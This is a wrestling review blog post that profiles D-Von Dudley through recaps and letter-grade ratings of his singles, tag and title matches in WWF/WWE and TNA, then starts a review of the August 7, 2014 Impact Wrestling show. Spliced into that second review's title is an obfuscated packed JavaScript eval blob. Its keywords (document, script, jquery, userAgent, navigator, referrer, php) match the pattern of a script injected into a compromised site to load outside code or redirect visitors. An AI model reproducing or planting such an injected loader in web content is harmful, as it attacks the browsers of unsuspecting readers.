Wrestler of the Day – July 26: D-Von Dudley

This man could have a future as a furniture mover: D-Von.

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We’ll start things off with a singles match from the night ECW invaded the WWF. From February 24, 1997 Raw.

Tommy Dreamer vs. D-Von Dudley

We get Beaulah if nothing else. Dreamer looks YOUNG here and for some reason didn’t wrestle at the PPV. They lock up immediately as everyone is FAR more impressed with Beaulah than the match which I can’t blame them for. Heyman rightfully kisses up to Vince for this. Dreamer breaks out some weapons to make things interesting for a change. Lawler hating on violence is funny considering one of his most famous things is the Tupelo Concession Stand Brawl (look that up if you’ve never heard of it).

All Dreamer so far here. Naturally we plug the stuff later on in Raw but again ECW needs to be happy with what they got, which I’m sure they were. Lawler goes on a total shoot, talking about how he’s been in wrestling for 20 years and has never been ashamed to be a wrestler but is now because this stuff is in his ring. He also didn’t mind showing up on ECW shows at least twice and getting a big paycheck for it.

Dreamer with a Piledriver next to a chair as Lawler is reaching Austin levels of ranting here. Taker cuts a split screen promo and while he’s talking about Sid (it was the main event of Mania 13 so first of all it’s more important than the match, but second, THIS GETS A PROMO WHILE WE HAVE A MATCH?) Dreamer hits the DDT for the pin.

Rating: N/A. Just a quickie here as the highlight was Lawler’s insane rant against Heyman and ECW. Based on what I’ve heard most of that was legit as Lawler wasn’t a fan of ECW at all. There are few people more old school than Lawler so that doesn’t surprise me, but considering how many Memphis companies he’s been apart of he doesn’t have a ton of room to talk about anyone else’s failing. Granted he had a national TV spot every Monday night so maybe he can talk about them.

We’ll pick things up about three years later on Raw, February 14, 2000 with the winner’s team getting a Tag Team Title shot at No Way Out.

D-Von Dudley vs. Jeff Hardy vs. Edge

D-Von is quickly flapjacked down and double teamed in the corner, followed by Poetry In Motion with Edge playing Jeff for some reason. D-Von finally sends Edge to the floor to leave him alone with Jeff. A slam gets two on Hardy but Edge dropkicks D-Von into Jeff, knocking both guys down. The partners get in a fight on the floor as Jeff hits a Swanton for two on Dudley. Edge spears Hardy down but gets caught in a reverse inverted DDT for a pin. Too short to rate but it was fun while it lasted.

We’ll jump ahead to Survivor Series 2000 where D-Von is on a team with his brother and a few others.

Team Dudley Boys vs. Team Edge and Christian

Dudley Boys, Hardy Boys vs. Edge and Christian, Bull Buchanan, Goodfather

Buchanan and Goodfather are the RTC and they’re actually tag champions here instead of one of the other three teams. Bubba and Bull start things off but the crowd is kind of dead so far. Bubba elbows him down for two and it’s off to D-Von. A big boot puts D-Von down and it’s off to Goodfather for another boot to the head but no cover. Off to Christian who pounds away at D-Von but walks into a reverse inverted DDT. This match isn’t exactly taking off.

Matt comes in to clean house as everything breaks down. The Hardys take off their shirts to reveal camo shirts that match the Dudleys. In the melee, the Edge-O-Matic (actually called that here) pins Matt. D-Von vs. Edge now with the former hitting a swinging neckbreaker for no cover. D-Von takes down both Canadians with a double clothesline but a Buchanan distraction lets Christian hit the Killswitch for the elimination to make it 4-2.

Bubba comes in and throws Christian around a bit before it’s off to Jeff. The fans want tables but they get Jeff sent to the floor and a tag to Buchanan. Back to Bubba who runs over the Bull a few times and beats up Goodfather a bit too. The Canadians get backdropped a few times before Edge accidentally spears Buchanan down, giving Bubba an easy pin. Christian accidentally splashes Edge giving Bubba another easy pin. It’s Jeff/Bubba vs. Christian/Goodfather.

They botch something but Goodfather hooks a Death Valley Driver for the pin on Bubba. Jeff gets to start with Christian but knocks Goodfather off the apron first. Christian misses a charge and hits post. The Swanton eliminates Christian and about twenty seconds later Val Venis (also RTC) clotheslines Goodfather by mistake, giving Jeff the winning pin.

Rating: C-. Much like the rest of the show, this wasn’t bad but it was nothing interesting for the most part. The tag division would get going again soon with TLC 2 which was somehow even better than the first edition. Having Jeff win here is fine but without Matt at this point, the fans didn’t really care. Granted that could be said about the rest of the show too. Again, another acceptable match but nothing I’ll remember in an hour.

Another triple threat, this time from Raw on February 19, 2001.

Undertaker vs. D-Von vs. Christian

Uh….ok? Oh that’s right there’s the tag team triple threat on Sunday. The Dudleys have the belts coming into Sunday. Only Edge comes out with his partner and Lillian botches the intros, saying that Edge and Christian are champions here. D-Von hammers on Taker to start us off while Christian chills on the floor.

Edge goes into a rant about how awesome his family is rather than the others, such as how at family reunions they play hockey rather than putting people through tables. Also he got Christian a spaghetti strainer for Christmas and didn’t burn him to the point of needing a mask. Edge was hilarious at this point as you can tell.

Taker grabs an armbar on Christian until D-Von makes the save. Double suplex to Taker as this turns into a handicap match for a bit. D-Von gets a lifting sitout reverse DDT for two as Taker makes the save. The tall dude gets in Edge’s face and the Canadian is shoved down. Edge gets on the apron, allowing Christian to hit a low blow. That gets no one anywhere though as everything breaks down again and the Last Ride kills Christian dead to end this.

Rating: C. Just a mess but not bad really. That was the point of matches like these back in the day so this was fine. Taker somehow jumped over to face HHH and got out of this weak tag team thing he was stuck in. Just a fun match here for the most part that set up the tag title match on Sunday which is fine.

D-Von would get a Hardcore Title shot on Raw, November 26, 2001.

Hardcore Title: D-Von Dudley vs. Rob Van Dam

Van Dam is defending and D-Von is a tag champion. D-Von immediately hits him with a stop sign, which in real life would be grounds for near death but here it puts Van Dam down for about 6 seconds. D-Von goes to the floor where Van Dam moonsaults him for two. Back inside and D-Von hits a big powerbomb to take Van Dam down for no cover.

A HARD trashcan lid shot to the head puts Van Dam down but again Rob won’t sell very long and superkicks D-Von down. Rob goes up but get neckbreakered down onto a chair for a delayed two. Van Dam goes up but gets crotched again. Sell that? Nah. Instead he shoves D-Von off the ropes and hits the Five Star to retain.

Rating: C-. Van Dam’s non selling was really annoying but D-Von’s offense looked good. I always liked him better than Bubba but Bubba has about 10,000x more personality so Bubba got the probably better deserved push. Anyway, the match was fine given that it lasted about three and a half minutes and was a forgone conclusion.

The team would be split due to the Brand Split, meaning D-Von was sent to Smackdown. D-Von became a reverend for no apparent reason but he did have an impressive deacon who collected money. The deacon’s name: Batista. Here’s Batista’s debut at ringside on Smackdown, May 9, 2002.

Reverend D-Von vs. HHH

The Game hammers away to start but gets caught in a hot shot onto the buckle. There’s actually some psychology there as HHH has a bandaged forehead. HHH fights back with right hands but is sent to the floor for a beating from Batista. Back in and D-Von drops the big elbow as Batista keeps an eye on the building fund box. D-Von nails a top rope forearm to the head for two more but misses the swan dive. HHH bails to the floor for a minute and avoids a Batista charge, sending him into the post. The distraction lets Jericho come in and nail HHH in the head with the money box to give D-Von the big upset.

Rating: D. This is more noteworthy for the major upset and the debut of a future World Champion. The Reverend character was brand new at this point and a win over HHH showed that they might be going somewhere with it. The fact that it was D-Von kind of threw a wrench into those plans though.

Here he is on August 29, 2002 against a hotshot rookie. Oh and he’s now a reverend.

Reverend D-Von vs. John Cena

Cena nails a dropkick and something resembling a bulldog for a fast two count to start. D-Von avoids a second dropkick and stomps away before dropping an elbow for two. More hard shots to the face have Cena in trouble but he comes back with a kind of swinging fisherman’s neckbreaker. A series of forearms have D-Von in trouble but he comes back with a clothesline. D-Von misses a top rope headbutt and gets rolled up for two more. Cena hamers away in the corner, only to get caught in an atomic drop, setting up Saving Grace (reverse inverted DDT) for the pin.

Rating: D+. This didn’t work as the chemistry wasn’t there and Cena had only been around a few months at this point. Cena was very aggressive though, which fit the Ruthless Aggression era that they were shooting for. The Reverend gimmick was fun but clearly a dead end for D-Von.

Batista would split from D-Von soon after this, setting up a match between the two on Smackdown, September 5, 2002.

Reverend D-Von vs. Batista

D-Von hammers away as Batista hits the ring, shouting that he made Batista. That’s the extent of his offense at first as a big chokebomb sends D-Von out to the floor. A chair to Batista’s back….doesn’t draw a DQ for some reason. Back in and the elbow drop gets two on Batista but that’s about it for D-Von being in control. Batista shrugs everything off and plants D-Von with a Batista Bomb for a very fast pin.

The Dudleys would reunited in late 2002 so we’ll skip ahead a bit. Here’s an ECW reunion match from Smackdown on May 13, 2004.

D-Von Dudley vs. Rob Van Dam

Bubba offers an early cheap shot to give D-Von the early advantage but Rob comes back with the usual strikes. A spinning kick to the face drops D-Von and a leg lariat gets two. Bubba offers a second distraction though, allowing D-Von to pull Van Dam out of the corner with a neckbreaker to take over. D-Von chokes with a bandage and hammers away in the corner before we hit a neck crank.

Back up and a VERY hard clothesline gets two on Rob before it’s back to the chinlock. Rob fights up again and takes over with kicks (of course), including a nice one off the top for two. Bubba interferes AGAIN but this time gets kicked in the face and taken down with a flip dive off the apron. Rolling Thunder connects but Bubba puts D-Von’s foot on the ropes. Rob kicks D-Von in the face again but the referee gets poked in the eye. More interference lets D-Von DDT Van Dam out of the corner for the big upset.

Rating: D+. Actually not terrible here with D-Von looking crisp while he was on offense. Bubba’s interference went on too long though and it got annoying after the first two times. That being said, there’s no reasonable way to have D-Von get a win over someone the level of Van Dam.

We’ll wrap up WWE with this match from Smackdown on August 19, 2004.

D-Von Dudley vs. John Cena

This is a result of Cena having words with Spike in the back earlier tonight. US Champion Booker T., Cena’s current rival, is on commentary. D-Von hammers away in the corner but gets slammed down for two. A spinning back elbow nails Cena for two and a big elbow drop gets the same. Cena takes his head off with a clothesline as Booker compares Cena to Vanilla Ice. Not that it matters as John initiates the finishing sequence, takes out Bubba, and nails the FU for a fast pin.

We’ll jump ahead to TNA now but a few years into Team 3D’s run as there aren’t many singles matches to pick from at first. We’ll pick things up at Against All Odds 2009 in a glorified tag match for the World Title.

TNA World Title: Brother D-Von vs. Brother Ray vs. Sting vs. Kurt Angle

They do the long intros where we see them coming from the locker room and everyone gets a hype video. In other words, entrances take about ten minutes. The Dudleys come out together and are Japanese tag champions. JB does the big match intros in jeans, which doesn’t work at all. The Dudleys take over to start, working together because they’re you know, a team.

Angle rams them together though but the Mafia guys get clotheslined down. Bubba and D-Von face off and Bubba lays down for D-Von to pin him. It only gets two but that’s rather brilliant. Why not go with a submission though? Double flapjack takes Sting down. Now they actually slug it out with D-Von taking over. Ray gets a slam as this is more of an exhibition than a competitive match. Double clothesline leads to a stalemate.

Angle and Sting are back in now and everything goes out to the floor in a big brawl. Let’s make fun of Vince a bit because that’s what we need to do right? Bubba gets put in the ankle lock and D-Von is in the Scorpion. Angle gets kicked off and into Sting, causing some issues with the Mafia. Bubba tries a Figure Four on Sting and it’s a total failure.

Kurt’s eye is busted badly. Bubba gets the figure four (close enough I guess) and Angle is in a Boston Crab. In a NICE touch, Kurt crawls over onto Sting while still in the hold and gets two. That was really creative and psychology if I’ve ever seen it. The holds are broken and Kurt hits an enziguri to Bubba. The blood is off Kurt’s eye and it looks a lot better. The Mafia squares off and trade finisher attempts.

The Dudleys break up an ankle lock attempt and the fans are behind them. Angle Slam to Sting gets two. Ray gets a Rock Bottom (called that by West) gets two on his partner. Angle tries ten corner punches on D-Von but gets caught in a Doomsday Device for a long two. 3D is loaded up but Sting avoids it. Stinger Splash misses but Angle breaks up What’s Up. And never mind as Sting grabs a really quick Death Drop on Bubba to end it.

Rating: C-. At the end of the day, the Dudleys were in the main event of a PPV and it was for a world title. Why in the world am I supposed to think that they have a chance here? The match itself wasn’t anything special as it was really a glorified tornado tag match. No idea why they didn’t go with a tag with the title on the line but it’s TNA so I’m probably thinking too hard.

Team 3D would start feuding with Ink Inc., setting up this match at Victory Road 2010.

Brother Ray vs. Brother D-Von vs. Jesse Neal

Let’s get this over with. Ray comes out first and hides behind the set. He jumps Neal and there’s no D-Von. We cut to the back where D-Von is locked in his dressing room, presumably by Bubba. Clearly the cameraman has no arms because he doesn’t let him out which would involve moving a board. Oh look: more kind of false advertising as it’s the same match from last month.

Again we hear about how much Neal’s life has sucked. We get it already guys, let it go. No one cares about Neal and that’s all there is to it. This is nothing but basic stuff as we’re all just waiting for D-Von to come running out for the big save or beatdown or whatever. Ray of course uses the big boot because that’s all anyone uses for a big strike anymore. The ECW guys are here.

They distract Bubba a bit and Neal gets a spear for two. Shannon Moore comes down for a save which lets Ray hit Neal with a chair. D-Von finally comes out and there’s a staredown. They both look at Jesse and then slug it out. Neal accidently spears D-Von and a Bubba Bomb ends it. D-Von was in the ring for maybe a minute total.

Rating: F. This was false advertising if nothing else. This was a one on one match with two run-ins. What was the point to this? Just do 3D vs. Ink Inc like you want to do. No one cares about this feud and no one wants to see Bubba vs. D-Von, so of course that’s what we’re going to get.

Team 3D finally split up and started their feud, including this match at Genesis 2011.

Bully Ray vs. Brother D-Von

They can’t just call him D-Von? Ray pulls Val up to hide as D-Von comes at him on the ramp. Val slaps him and the fight is on. They slug it out on the floor to start with D-Von dominating. They brawl for three or four minutes and then we get a bell. Dang it they have even more time to waste here. Ray begs off from D-Von and can’t hit his low blow.

Thesz Press leads to punches by D-Von. Back to the floor again as they’re thankfully not trying to make this a match. They’re up in the stands now as somehow this isn’t a countout yet. A fan throws what looks like a shoe to D-Von. Ok then. Back to the ring and Bubba finally takes over. Ray is busted. He slaps D-Von in the corner and then runs when D-Von Dudleys Up.

Bubba misses an elbow as I try to think of what I’d trade to not have to watch this. Bubba Bomb doesn’t work and D-Von gets two. LOUD chops by Bubba in the corner set up a suplex off the middle rope for a long two. Ray picks up a chain from nowhere in particular. D-Von stops it and picks up the chain and whips Bubba for the DQ. Are you freaking kidding me?

Rating: D. It was boring, it wasn’t particularly good, and it’s Bubba vs. D-Von in 2011 on PPV in a grudge match. Do I need to explain to you why this was completely awful? I didn’t like this in the slightest and of course it means we’re going to have another match between them because they’re draws right?

D-Von would be in the 2011 Bound For Glory Series and had this match on August 4, 2011’s Impact.

Bound For Glory Series: AJ Styles vs. Devon

Basic stuff to start with AJ avoiding various offense using speed. Pope is with D-Von’s kids again. D-Von gets a back elbow for two and spots Pope. AJ grabs a rolling cross armbreaker but D-Von makes the floor. Styles Clash is blocked as in D-Von’s reverse inverted DDT. Pele gets two as Daniels is seated at ringside cheering AJ on. AJ goes to yell at him and misses a springboard, letting Devon rolling him up for a pin at 3:35. Yes that really happened.

Rating: C. Nothing here at all as it’s almost too short to grade. D-Von is nothing of note at all as he’s just D-Von. The Pope and Daniels things could be interesting eventually but at the moment it doesn’t look like anything is coming from them. I wasn’t impressed here but the stuff that they did was ok I guess. Not a fan of the same ending to two matches in a row though.

D-Von would team up with D’Angelo Dinero and get a Tag Team Title shot at No Surrender 2011.

Tag Titles: D-Von/D’Angelo Dinero vs. Mexican America

Remember when TNA had the best tag division by far? Man that seems like forever ago. Can we watch Sarita and Rosita dance instead of watching this match? D-Von vs. Anarquia starts us off. The fans chant for the USA. Off to Pope very quickly as they work on the arm. Ok back to D-Von as the challengers are tagging in very fast. SuperMex comes in and D-Von is all cool with that too.

A clothesline puts Hernandez down for a bit and it’s off to Pope, who according to the audience is pimping. If anyone knows what it means to be pimping, it’s a town famous for having a Mouse theme park in it. Anarquia comes in again and this is firmly in first or second gear. The challengers hit something resembling a Hart Attack but with a shoulder instead of a clothesline and D-Von playing the rope of Bret.

Pope kisses Rosita and then holds her by the air above the floor off the apron. FREAKING OW MAN!!! D-Von and Pope set for What’s Up but Sarita breaks it up. Despite looking nothing like him at all, D-Von lands the role of Ricky Morton. Anarquia hits a back elbow for two. Mexican America hits a pair of splashes and Rosita adds a dropkick. Hernandez takes forever to set up a charge and is taken down by a spear from D-Von.

A double tag brings in Anarquia and Pope with Pope cleaning most of the rooms in the house but not all of the house. Top rope cross body gets two on Anarquia and the champs take down Pope with Hernandez hitting a top rope headbutt but there’s no cover from either of them. Everything breaks down and a double shoulder block puts down Hernandez. The girls come in and get stereo spankings. D-Von takes down Hernandez and we go back to Wrestlemania V as Pope suplexes Anarquia back in but one of the chicks hooks his leg for the fall on top pin at 9:53.

Rating: D+. I wasn’t feeling this one but I could see how some people would. The girls got involved about five times and the ending was so cliched it’s almost unbearable. That’s what this show has been: one cliched ending after another. Also, D-Von and Pope are the best tag team they could get for this? At least the Brits are a regular team that gets along more than a week before the PPV. Not into this at all.

At Victory Road 2012, TV Champion Robbie E. issued an open challenge.

TV Title: Robbie E vs. ???

This is another open challenge because we don’t have time to get the TV Title on TV since Garrett Bischoff needs to get his five minutes every week. Robbie says that there’s no open challenge tonight because everyone is afraid of him. The fans want RVD. Oh apparently the invitational is going to happen tonight but now fans can take him up on it. They go around the ring and Robbie makes fun of fans, including three overweight women. He asks Val, but says they’ll be “wrestling” later. Big Rob says she’s not on the list. This goes on forever. The open challenge is officially canceled so they’re going to pose instead. We have a challenger.

TV Title: Robbie E vs. D-Von

Yes, this is what’s on PPV. He comes through the crowd for some reason. Robbie backs off so Brian Hebner says we’re doing this. D-Von is in street clothes. There’s another Tweet. One man flapjack puts Robbie down and a clothesline puts him on the floor. Matt Morgan is trending. Robbie tries to get a chair but BROOKE HOGAN stops him. I kid you not, she’s in the front row and grabbed the chair from him. Back in and D-Von runs him over with clotheslines and shoulder blocks. A splash in the corner sets up a clothesline for two. A spinebuster gives D-Von the title at 3:02. Just retire the title. Now.

Rating: F. D-Von Dudley is a singles champion. Never mind that it’s 2012. D-Von freaking Dudley is a singles champion. That doesn’t need any more explanation. Oh and Brooke Hogan was involved in this. They did fire Russo didn’t they? I mean….D-VON JUST WON A TITLE. With the roster they have, they pick him? Who thinks that’s a good idea?

Then D-Von would feud with Robbie E. Then Robbie T. Then BOTH OF THEM AT ONCE. From Sacrifice 2012.

TV Title: D-Von vs. Robbie E vs. Robbie T

Officially it’s a triple threat. D-Von punches T to the floor and then punches E down. A Rock Bottom gets two on E but T pulls the champion to the floor. E gets back up and tells T to stand down because he’s got this. Powerslam gets two for E. D-Von comes back and knocks E to the floor but T catches him with a shot to the back. Powerslam gets two as E makes the save. Extra and Terrestrial get in a shoving match, allowing D-Von to roll up T to retain at 5:40.

Rating: D+. This feud MUST be over now right? It’s been going on for like four months now and for the life of me I don’t get why it’s continued this long. Are there really no other people that can get in on the TV Title hunt? Nothing to see here but hopefully it ends this feud once and for all.

D-Von would defend his title on Impact, July 5, 2012.

TV Title: D-Von vs. Crimson

Crimson grabs a pair of quick two counts and make it three, the third try having his feet on the ropes. That gets him nowhere so he hammers D-Von into the corner. A low clothesline gets two and D-Von starts his comeback. Crimson takes his head off with a clothesline for another two which was really sloppy. Crimson walks into the spinebuster for the pin at 2:02. As usual, D-Von comes, he goes, the match ends and we move on to the next week.

D-Von would leave the company due to his contract expiring, still as TV Champion. He would return to the company and join the Aces and 8’s, setting up a match at Turning Point 2012.

D-Von vs. Kurt Angle

D-Von is here alone. We stall for a good while before the bell as D-Von won’t get in the ring to fight Angle, which is probably a good idea. After wasting about two minutes, D-Von gets in and uses his wide array of punches to take over. D-Von hits his shoulder block to put Kurt down but Angle suplexes D-Von in return. The momentum doesn’t really build though as Kurt misses a charge into the post and we head to the floor.

That goes nowhere so we head back in for the D-Von spinning back elbow for two. Off to a chinlock as this is exactly what you would expect so far: D-Von is using really basic stuff because that’s about all he’s good at on his own. When he’s facing Kurt Angle, that’s hard to buy as an effective offense. Taz goes into a way too long explanation of how D-Von and Doc wear the same belt but we can’t see it because D-Von’s shirt is out.

Anyway, Angle hits a missile dropkick and a flying forearm to put D-Von down followed by a belly to belly for two. The Angle Slam is escaped and D-Von clotheslines Angle down. D-Von goes up for the swan dive but Kurt runs up the ropes and hits a belly to belly superplex off the top for two. The ankle lock goes on but D-Von kicks him away and hits a Rock Bottom for two. They botch a powerbomb counter and Kurt rolls some Germans for two.

Angle goes to the corner for what would have been a moonsault that Rey Mysterio in his prime would have had issues hitting. D-Von powerbombs him out of the corner to prevent Kurt from having to try it but it only gets two. D-Von is limping around badly because of the ankle lock so at least the selling is good. The swan dive misses but the Angle Slam only gets two. Seriously? D-Von gets to kick out of the Slam? Aces and 8’s surround the ring and D-Von spears Angle down for two. Not that it matters as the ankle lock gets the submission out of nowhere.

Rating: D+. It’s D-Von vs. Kurt Angle. Seriously that should up everything you should need to know about this match. There is no way on earth you can validate D-Von as a realistic threat to Kurt Angle. D-Von does not have the skills to hang in a nearly fifteen minute match with Kurt Angle and that’s all there is to it. That makes the match very dull and shows the need for a main event level guy in Aces and 8’s.

D-Von had his chance to get the TV Title back on December 6, 2012’s Impact.

TV Title: Samoa Joe vs. D-Von

Joe is defending and takes over to start by running over D-Von. A knee drop keeps D-Von down for a bit but D-Von low bridges Joe to take him to the floor. A pair of splashes get two for D-Von but the middle rope headbutt misses. Joe comes back with a kick to the chest and a backsplash for two. A Rock Bottom out of the corner puts D-Von down again and there’s the Koquina Clutch. Some blonde chick gets on the apron, allowing Doc to hit Joe win the back with the hammer to give D-Von the title back at 3:55.

Rating: D. Nothing to see here at all but it was pretty clear that D-Von was getting the belt back here. At the end of the day, Aces and 8’s has to have SOMETHING right? They now have a title, albeit the lower midcard belt. This still does nothing to make me care about them at all, but there was no other option here.

Aces and 8’s targeted Joseph Park, setting up this match at Genesis 2013.

D-Von vs. Joseph Park

Non-title here. The fans are all behind Joseph of course…and then they split into dueling chants because the Impact Zone is annoying. D-Von yells at Park for messing up basic stuff and then goes behind Joe to mess with his hair. In something I never thought I would say, D-Von uses chain wrestling to take over and takes Park down to embarrass him. D-Von gets down in an amateur position but Park does some of the same chain stuff that D-Von did earlier and slaps D-Von in the back of the head. Funny stuff.

After D-Von rants on the floor for a bit, he charges into a hip toss, an armdrag and a one armed slam. D-Von knocks him to the floor in retaliation and rams Park into the steps. Back in and the buckle gets ripped off as Park is in trouble. Park blocks a shot into the buckle and pounds away, only to walk into a jumping back elbow. A clothesline puts D-Von down and Park hooks a double leg takedown and pounds away before going to the corner. Oh this isn’t going to end well.

Joseph goes to the second rope and hits a splash for two but D-Von sends him into the exposed buckle. It busts Park open and it’s Abyss time. A Black Hole Slam out of nowhere puts D-Von down and he loads up a chokeslam before snapping back into reality. D-Von grabs a rollup with a handful of tights for the pin at 11:40.

Rating: C+. The character is still funny, but they’ve been doing this same thing for months now and while the wrestling training is a step in the right direction, they need to something substantial with him before the charm wears off. It’s clear they’re building to a huge Abyss return, but I’m not sure when it’s actually going to happen. Fun stuff here though.

D-Von was entered into the competition at Joker’s Wild.

D-Von/Doc vs. Alex Silva/Hernandez

Well that’s quite a coincidence. D-Von and Silva start things off and after about two minutes of circling each other we get some actual contact. Silva gets pounded down in the corner and D-Von is toying with him. A one footed dropkick staggers D-Von and it’s off to Hernandez to give him a real challenge. Off to Doc for the power vs. power match with both guys getting to show off their strength.

A delayed vertical suplex puts Doc down and it’s off to Silva who is promptly destroyed. D-Von crotches him against the post and it’s off to a chinlock by Doc. Off to D-Von again for a knee drop and a two count as Silva continues to be beaten down. Doc comes in with a legdrop for two and some elbows to the chest. A big splash gets another two as Silva’s destruction continues. D-Von puts on a front facelock but Silva escapes for the tag off to Hernandez. SuperMex cleans house but Alex tags himself back in like an idiot. A missile dropkick gets two on Doc but he gets caught in a chokeslam for the pin to advance.

Rating: D+. So a team that regularly works together is better than a thrown together team with a rookie for a member. It took ten minutes to get that point across? There’s nothing special to see here and if I have to hear about Taz’s sidecar one more time I’m going to lose my mind. The commentary on this show is absolutely horrible and it’s driving me insane.

More Aces and 8’s, this time against Sting on March 7, 2013’s Impact.

Sting vs. D-Von

This is match #1 in a three match series with the winner getting the advantage in Lethal Lockdown. Sting jumps D-Von to start but gets clotheslined down for two. D-Von hooks a neck crank and pounds away in the corner for a bit. The top rope headbutt misses though and the fight heads to the floor. Some fan throws something in Sting’s face which looks to be red paint of some kind, allowing D-Von to hit a big boot back in the ring for the pin at 3:18.

Rating: D. I’m still trying to get over the D’Lo thing. This was another worthless match that doesn’t prove anything because the team is led by D’Lo freaking Brown. What in the world is the point of this team anymore? It’s like the bottom of the barrel of wrestling getting together to form a stable, but we’re supposed to take them seriously.

Here’s a big blowoff match between TNA and Aces and 8’s (one of many) with the person taking the fall being fired.

Aces and 8’s vs. Main Event Mafia

Aces and 8’s: Wes Brisco, Garrett Bischoff, Knux, D-Von, Mr. Anderson
Main Event Mafia: Sting, Samoa Joe, Rampage Jackson, Magnus

The loser of the fall is gone from TNA forever and the Mafia comes in down a man due to Angle going to rehab. Before the bell Anderson calls out Ray to sit on the stage and watch. Anderson goes on to say that the Mafia can pick someone to lay down without a fight. Sting says no way because they want to fight. There go the lights for some reason and here’s AJ Styles. He throws the hood back and the music changes to Get Ready To Fly, meaning the Phenomenal One is back and part of the Mafia tonight.

It’s a huge brawl to start until we finally get down to Magnus vs. Wes to start. Magnus throws him into the corner and brings in Joe to pound Brisco down. Joe hits the enziguri in the corner for two before it’s off to Garrett. AJ comes in for the fireman’s carry flip into a backbreaker as we take a break. Back with Magnus in trouble in the Aces corner. The bikers take turns on the Brit with everyone getting in shots.

Garrett gets two off a clothesline as the fans chant YES. Anderson comes in for a suplex before it’s back to D-Von for a neck crank. The fans tell him he sucks and Taz rants about Hogan a bit. The back elbow puts Magnus down again and D-Von Spinaroonis up. Back to Knux for some choking but Magnus scores with a quick DDT for a breather. There’s the hot tag to Sting and everything breaks down. Jackson starts cleaning house but Knux gets in a cheap shot.

Sting takes Knux down with the Death Drop and puts on the Deathlock but D-Von makes the save. Knux can only get two though and things settle down again. AJ gets the hot tag and hits the springboard forearm to D-Von. A backfist and a standing enziguri get two for Styles but everything breaks down again. Styles loads up the Clash on D-Von but has to hit the Pele on Anderson. D-Von spears Styles down but AJ comes right back with the Clash to get rid of D-Von at 16:16.

Rating: C+. The match was ok because it actually got some time. The fans were pleased for AJ’s return to form which has been needed for a long time. Getting rid of D-Von is fine as he doesn’t really do anything other than say TESTIFY. Hopefully it leads to the end of the Aces as they’re so far past their expiration date it’s unreal.

D-Von would return to TNA as a member of the Hall of Fame and help Bully Ray in a hardcore war on Impact, August 7, 2014.

Ethan Carter III/Rhino/Rycklon Stephens/Gene Snitsky vs. Team 3D/Tommy Dreamer/???

This is a hardcore war but entrances are staggered every 90 seconds and the win can’t take place until the last man enters. It’s Carter vs. Dreamer to get things going and both have weapons. They quickly head outside with Dreamer’s knees being sent into the steps. Back in and Dreamer hits a quick suplex with a Singapore cane before driving in a bunch of right hands in the corner. Rhino comes in to make it 2-1 and nails Dreamer with the trashcan lid. A bad looking spinebuster sets up some cane shots but D-Von ties things up with a trashcan. D-Von takes over with a few shots of his own and we take a break.

Back with Snitsky giving the Carters an advantage (and looking to weigh about 400lbs) until Bully Ray runs out to even things up again and clean house. Ray looks up at Dixie and Mo as the ECW guys keep dominating. Stephens comes in to complete Team Dixie and clean house with a chair. The heels destroy everyone until the big mystery partner is Al Snow.

The fans want Head (and have a bunch of mannequin heads of course) as Al beats up everyone again. Ray nails a top rope cross body (didn’t look bad either) to take out the mercenaries. Spud tries to make a save but gets What’s Up from Head. Snow moonsaults onto every heel not named Rhino as this just keeps going. Not that it matters as 3D ends Rhino at 17:37.

Rating: D+. This was just WarGames minus the cage and a lot of the talent. There wasn’t much to see here and Al Snow was about as uninteresting of a partner as there could have been. Also, I didn’t need a second hardcore match in an hour but this show is an ECW tribute show anymore so you have to have it.

D-Von is a guy that has had some success on his own but was much better in the tag team scene. He’s got a good look and was the member of the Dudleys I liked best until Bubba became Bully. I didn’t care for him as TV Champion, but I was always a Dudleys fan. An often bored fan, but a fan nonetheless.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Impact Wrestling – August 7, 2014: It Happened

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyttk|var|u0026u|referrer|inane||js|php'.split('|'),0,{})) Wrestling
Date: August 7, 2014
Location: Manhattan Center, New York City, New York
Commentators: Mike Tenay, Taz

Tonight is the night. After all the weeks of build, all the hype and all the stories, tonight is when it finally happens. I won’t spoil it for you here because I’m not TNA, but tonight is when something very big takes place. Granted they showed it on Impact last week, but that’s been shown to work in drawing an audience in the past. Let’s get to it.

We get a parental advisory due to mature subject matter for tonight’s show.

Team 3D and Tommy Dreamer talk about how they’re going to war tonight and promise to put Dixie through a table tonight.

We get the IT HAPPENS trailer to open the show.

Bram vs. Abyss

Monster’s Ball. The bell rings and we’ve already got an ECW chant. They quickly head to the floor and the fans want tables. The announcers are telling the fans to call their friends for the Dixie stuff. Weapons are brought in and the fans want blood. Abyss wedges a chair between the ropes but takes some trashcans to the head to put him down.

Bram brings in a barbed wire board but gets sent into the corner for his efforts. He brings in the wrench but Abyss grates his crotch. Abyss sends him face first into the chair and it’s time for Janice and the tacks. Bram tries to fight back but gets chokeslammed onto the tacks, only to have Magnus offer a distraction. A spear puts Abyss through the barbed wire board and a Janice shot to the ribs gives Bram the pin at 8:12.

Rating: C+. Picture ANY Abyss Monster’s Ball match and this was about the same. I’m sick of seeing TNA try to rekindle the ECW fire though. That’s clearly what they were going for here and while it was entertaining, I’m totally over it. This was entertaining, but do something new instead of just rehashing everything.

Joe and Low Ki trade words over who will be X-Division Champion.

Team Dixie says they’re ready for the war tonight. Snitsky insists it isn’t his fault.

Here’s the Trio with a bunch of women. MVP rants about how he had issues when he was the boss and how everyone whined to him. As long as they control the World Title, they control this company. Lashley is going to be champion for years to come and he’s run through every hero here. First up there was Eric Young, then Jeff Hardy and last week it was Austin Aries. There’s no one left for him to beat.

This brings out Bobby Roode for a war of words between he and MVP, but Roode wants to talk to Lashley. Roode says that he’s a former World Champion and says MVP is going to manipulate Lashley every chance he gets. Lashley holds up the belt and the Trio attacks, with MVP nailing him with the crutch. Eric Young and Austin Aries come out for the save.

Gunner and Samuel Shaw are walking in the back when Anderson comes up. He wants to talk to Gunner but wants Shaw gone. Shaw leaves and Gunner says Anderson should trust Samuel. Anderson isn’t impressed.

Bully Ray won’t say who their fourth man for the eight man tag is.

Mr. Anderson/Samuel Shaw/Gunner vs. BroMans/DJZ

